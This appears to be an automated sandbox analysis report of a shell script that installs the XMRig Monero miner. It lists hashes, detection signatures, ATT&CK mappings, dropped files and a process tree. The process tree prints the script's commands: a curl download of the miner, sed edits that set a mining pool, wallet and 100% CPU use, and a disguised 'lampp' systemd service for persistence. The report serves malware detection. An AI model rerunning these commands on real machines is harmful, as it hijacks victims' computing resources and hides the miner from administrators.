Analysis

  • max time kernel
    42s
  • max time network
    1033s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:43

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1401
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1404
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1405
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1408
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1409
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1467
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1468
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1469
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1469
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1469
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1469
                    • /usr/bin/rm
                      rm /tmp/xmrig.tar.gz
                      2⤵
                        PID:1470
                      • /usr/bin/sed
                        sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                        2⤵
                          PID:1471
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1472
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                            PID:1477
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:1476
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:1475
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:1478
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                  • Reads runtime system information
                                  PID:1479
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240611-en-4\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1480
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:1481
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1482
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1483
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1484
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1485
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:1486
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:1487
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:1488
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1489
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1491
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1494
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1493
                                                    • /usr/bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1495
                                                      • /usr/bin/sudo
                                                        sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        2⤵
                                                          PID:1496
                                                          • /usr/bin/mv
                                                            mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            3⤵
                                                              PID:1497
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                              PID:1498
                                                              • /usr/bin/killall
                                                                killall xmrig
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:1499
                                                            • /usr/bin/sudo
                                                              sudo systemctl daemon-reload
                                                              2⤵
                                                                PID:1500
                                                                • /usr/bin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Reads runtime system information
                                                                  PID:1501
                                                              • /usr/bin/sudo
                                                                sudo systemctl enable lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1527
                                                                • /usr/bin/systemctl
                                                                  systemctl enable lampp.service
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  PID:1528
                                                              • /usr/bin/sudo
                                                                sudo systemctl start lampp.service
                                                                2⤵
                                                                  PID:1569
                                                                  • /usr/bin/systemctl
                                                                    systemctl start lampp.service
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1570

                                                              Network

                                                              MITRE ATT&CK Matrix ATT&CK v13

                                                              Defense Evasion

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Discovery

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              System Information Discovery

                                                              3
                                                              T1082

                                                              Command and Control

                                                              Web Service

                                                              1
                                                              T1102

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /root/lampp/config.json
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                f3294129e6b76283965ad86a815bf383

                                                                SHA1

                                                                5fe0ab538f86962efe82cb13fc2da745610740af

                                                                SHA256

                                                                578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                SHA512

                                                                07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                              • /root/lampp/sedE57Cgr
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                3a9995e4bcfcd4aa9c5a24c2e102b798

                                                                SHA1

                                                                214d8e313263421180cf5b5fc56426d1433a5225

                                                                SHA256

                                                                74b39df3b5d2bf8fef67e8c89c26db2c75315da12220c877b5f27284beed0b8e

                                                                SHA512

                                                                467cf8b669a3004d80043f062d652c68d941004a1799369f81554dd05a66c079f8d05a3e638540804503a28dc775ab5ad792a1d4606666b74706714b6bd3115c

                                                              • /root/lampp/sedJ3CFhy
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d8a12dff925e11e03e062683229472b4

                                                                SHA1

                                                                c5a3b8ed13159b8937b58a4e22dbd4e40f9cb403

                                                                SHA256

                                                                ed1ea9981307256904c85e6cf6cf27ea999154f3569354505496a74c636926d5

                                                                SHA512

                                                                de54d88555af7e78a9c75c4763f1d857b20d1017365b6966a1452b7b147dd6fffe0a2c5dcae35774cef16ec67cd954cf6c1da45c317deb53a79a7749cb746b1a

                                                              • /root/lampp/sedSZY4k8
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                65ec55bdf4f7cc42da7ec9bad48f6f3d

                                                                SHA1

                                                                e41b3ce97a549e72faee7dfc8dd10961c77faef5

                                                                SHA256

                                                                8532f2ebc4fabde94b4b1a072c08874af4ffa3317f39cb3fc6c1d48e77bc5489

                                                                SHA512

                                                                394807cf6e4c2845b7cb60173ccecda398aa92f8e4636799d89c5b739a445f61c9d40ee2a7ffa38e3e951ee6ddbc6ebdf4c3f57ee02e2271c5d0b66a254b00f0

                                                              • /root/lampp/sedYAtNw1
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                8b11b027dd187104473ee7d661ffe25f

                                                                SHA1

                                                                ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                SHA256

                                                                984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                SHA512

                                                                1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                              • /root/lampp/sedj8ulzX
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d489ddbbb83271e967b8af615d17d3c7

                                                                SHA1

                                                                f0394a367a60e9727269882154098dec802774ef

                                                                SHA256

                                                                5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                SHA512

                                                                aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                              • /root/lampp/sedmbb8Kk
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                abf461a3b2073d09c51f1e4e5e8ec14a

                                                                SHA1

                                                                26362c8229687b676d33fd85f08494cb84becb63

                                                                SHA256

                                                                ad61d029c7402766f2472224a3beb27add3b4b49faebbe072c40db701fc2be34

                                                                SHA512

                                                                88ca8cbda3aa2472d47b12cd114559da2a2e3c8606d70c49b630579cfdd722907e245df1e1cc69eedea6209fb5f1b0656632e2c65659c668e60ad548c2772320

                                                              • /root/lampp/xmrig
                                                                Filesize

                                                                8.4MB

                                                                MD5

                                                                e6b2f9d13d45c128b44cb5405df9ab39

                                                                SHA1

                                                                c07326f69240e3d22d134d156528af3bd5d0497b

                                                                SHA256

                                                                96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                                SHA512

                                                                4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                              • /tmp/lampp.service
                                                                Filesize

                                                                177B

                                                                MD5

                                                                540c899b78585827e807a62f7345eaf5

                                                                SHA1

                                                                8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                SHA256

                                                                b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                SHA512

                                                                0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                              • /tmp/sh-thd.F8pq5F
                                                                Filesize

                                                                253B

                                                                MD5

                                                                f96a321a262287ceae164f23f232ed9c

                                                                SHA1

                                                                d1eeab41f244b42377afd7cc3de7428736162b24

                                                                SHA256

                                                                f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                SHA512

                                                                75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                              • /tmp/xmrig.tar.gz
                                                                Filesize

                                                                3.4MB

                                                                MD5

                                                                e003a3ec8bdd61151a61cadf950502c4

                                                                SHA1

                                                                2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                SHA256

                                                                80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                SHA512

                                                                ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9